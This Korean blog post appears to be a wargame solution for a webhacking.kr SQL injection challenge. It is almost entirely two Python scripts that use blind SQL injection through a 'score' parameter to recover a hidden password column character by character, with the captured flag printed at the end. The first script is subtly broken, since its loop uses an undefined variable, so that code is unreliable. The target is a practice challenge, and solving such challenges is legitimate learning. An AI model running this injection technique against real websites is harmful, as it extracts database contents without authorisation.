호그와트

Into the unknown

영웅*^%&$ 2021. 11. 16. 14:52
728x90

flag = ''

for n in range(0,100):

query = "?score=2147483647 and length(p4ssw0rd_1123581321)={} #".format(i)

r = requests.get(url+query, headers=headers)

if r.text.find('id : jusb3 // 2147483647') != -1:

flag_length = i

print("flag_length is ", flag_length)

break

for i in range(1, flag_length + 1):

for j in range(33, 127):

query = "?score=2147483647 and ord(right(left(p4ssw0rd_1123581321,{}),1))={} #".format(i, j)

r = requests.get(url+query, headers=headers)

if r.text.find('id : jusb3 // 2147483647') != -1:

flag += chr(j)

print("flag({}) : {}".format(i, chr(j)))

break

print("flag is", flag)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

import requests

url = "http://webhacking.kr/challenge/web/web-31/rank.php"

headers = {'Cookie': 'PHPSESSID=95e4cp4uvtu9kcs4dk3ln7s6ggf'}

flag = ''

flag_length = 31

for i in range(1, flag_length + 1):

for j in range(33, 127):

query = "?score=2147483647 and ord(right(left(p4ssw0rd_1123581321,{}),1))={} #".format(i, j)

r = requests.get(url+query, headers=headers)

if r.text.find('id : jusb3 // 2147483647') != -1:

flag += chr(j)

print("flag({}) : {}".format(i, chr(j)))

break

print("flag is", flag)

FLAG{easy_peasy_lemon_squeezy!}

728x90

'호그와트' 카테고리의 다른 글

웹해킹 39번 문제  (0) 2021.11.16
웹해킹 53번, 55번 문제  (0) 2021.11.16
웹해킹 56번 문제  (0) 2021.11.16
드림핵 재밌는 misc문제  (0) 2021.11.16
리버싱은 매우 재미있다  (0) 2021.11.16